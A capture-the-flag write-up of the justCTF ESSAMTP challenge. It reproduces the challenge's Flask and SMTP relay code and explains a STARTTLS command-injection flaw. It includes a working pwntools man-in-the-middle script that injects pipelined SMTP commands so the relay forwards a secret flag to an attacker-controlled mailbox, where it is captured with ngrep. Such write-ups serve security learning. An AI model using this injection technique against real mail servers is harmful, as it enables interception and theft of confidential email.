JustCTF ESSAMTP Writeup
| Tags:
A few weeks ago (yeah, sorry for the delay), I participated in justCTF alongside CzechCyberTeam. One of the two challenges I solved was ESSAMTP:
ESSAMTP: Encrypted Simple Sender-Adversary Mail Transfer Protocol
it’s encrypted you know, so it should not matter that we gave you MITM capability…
- http://essamtp.web.jctf.pro:5000/
- Relay: essamtp.web.jctf.pro:8025
- https://s3.cdn.justctf.team/5c22aa5e-a9f1-4642-a5bf-bad89b508f7c/essamtp.zip
The first link goes to a simple web application, which will send an email to a hardcoded non-existent email address via a mailserver, address of which is supplied in a form field. The caveat is however, that the client web application uses TLS and only accepts a single certificate.
Source code of the web app (provided in the ZIP from the third link)
import os
import ssl
from smtplib import SMTP
from flask import Flask, request
import traceback
ctx = ssl.create_default_context(cafile='cert.pem')
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def hello():
addr = request.form.get('addr', '')
if request.method == 'POST':
s = SMTP()
try:
s._host = 'localhost'
s.connect(addr)
s.starttls(context=ctx)
s.sendmail('innocent-sender@nosuchdomain.example', ['innocent-recipient@nosuchdomain.example'],
f'''\
From: some-sender@nosuchdomain.example
To: some-recipient@nosuchdomain.example
Subject: [CONFIDENTIAL] Secret unlock code
Hi Recipient!
Sorry for the delay. The code you asked for: {os.environ['FLAG']}
Stay safe,
Sender
''')
except Exception:
return '<pre>' + traceback.format_exc() + '</pre>'
return 'ok'
return f'<form method=POST><input name=addr placeholder=address value={addr}><input type=submit>'
This certificate is held by the SMTP relay available from the second link. This relay tries to resolve the recipient domain and then forward the email according to the MX record. This fails however, since the recipient domain does not exist.
Source code of the relay (provided in the ZIP from the third link)
from dns.resolver import resolve
from dns.exception import DNSException
from smtplib import SMTP
from functools import lru_cache
from subprocess import Popen
import signal
def handler(sig, frame):
raise RuntimeError("timeout")
signal.signal(signal.SIGALRM, handler)
Popen(['flask', 'run', '--host=0.0.0.0'])
@lru_cache(maxsize=256)
def get_mx(domain):
try:
records = resolve(domain, "MX")
except DNSException:
return domain
if not records:
return domain
records = sorted(records, key=lambda r: r.preference)
return str(records[0].exchange)
class RelayHandler:
def handle_DATA(self, server, session, envelope):
mx_rcpt = {}
for rcpt in envelope.rcpt_tos:
_, _, domain = rcpt.rpartition("@")
mx = get_mx(domain)
if mx is None:
continue
mx_rcpt.setdefault(mx, []).append(rcpt)
signal.alarm(5)
try:
for mx, rcpts in mx_rcpt.items():
print('connetin ', mx)
with SMTP(mx) as client:
client.sendmail(
from_addr=envelope.mail_from,
to_addrs=rcpts,
msg=envelope.original_content,
)
finally:
signal.alarm(0)
As the intro states, we have a MITM capability, since we can point the web app to our SMTP server which would then forward the request to the actual relay. We can’t do much however, since the client and server enforce TLS with a certificate we don’t have.
After a lot of fuzzing (and a few failed attempts at the right vulnerability which made me think the vulnerability was not present), I honed in on the following exploit:
The two services use STARTTLS
, which means the communication starts
unencrypted, the client then issues the STARTTLS
command, to which the server
replies and starts TLS communication. The server is smart enough that it doesn’t
allow any other commands other than STARTTLS
before TLS is established though.
The issue is however, that you can send multiple commands in a single packet.
These commands are placed into a queue and then executed one after another. The
relay however, doesn’t flush this queue after STARTTLS
, so you can send a few
valid commands before starting the encrypted communication using STARTTLS
.
This means we can inject commands like RCPT TO
and then DATA
, which causes
the rest of the communication to be interpreted as the message body.
After hooking up the following script to the app, the flag is successfully sent to the supplied address. (This of course contained a couple hours of faffing with timing and different orders of the commands, it didn’t work on the first try.) A good source for the sequence of commands was this bit of the source code of the Email Analysis Toolkit.
from pwn import *
l = listen(8025)
svr = l.wait_for_connection()
r = remote('essamtp.web.jctf.pro', 8025)
svr.send(b'220 211bd207786a Python SMTP 1.4.4.post2\r\n')
r.send(b'ehlo bruzec\r\n')
svr.send(b'250-211bd207786a\r\n250-8BITMIME\r\n250-STARTTLS\r\n250 HELP\r\n')
r.send(b'STARTTLS\r\nEHLO BRUZEK\r\nMAIL FROM:<bruzek@hacking.cz>\r\nRCPT TO:<gs@hxx.cz>\r\nDATA\r\n')
log.info(str(svr.recv(1024, timeout=.1)))
log.info(str(svr.recv(1024, timeout=.1)))
log.warn(str(r.recv(1024, timeout=.1)))
svr.send(b'220 Ready to start TLS\r\n')
while True:
if svr.can_recv():
srvdata = svr.recv(1024)
log.info(srvdata)
r.send(srvdata)
if r.can_recv():
rdata = r.recv(1024)
log.warn(rdata)
svr.send(rdata)
Obviously, no self-respecting email client would receive that email, so @sijisu used the following command to capture the traffic on hxx.cz, since he owns the server:
sudo ngrep -d cni-podman4 port 25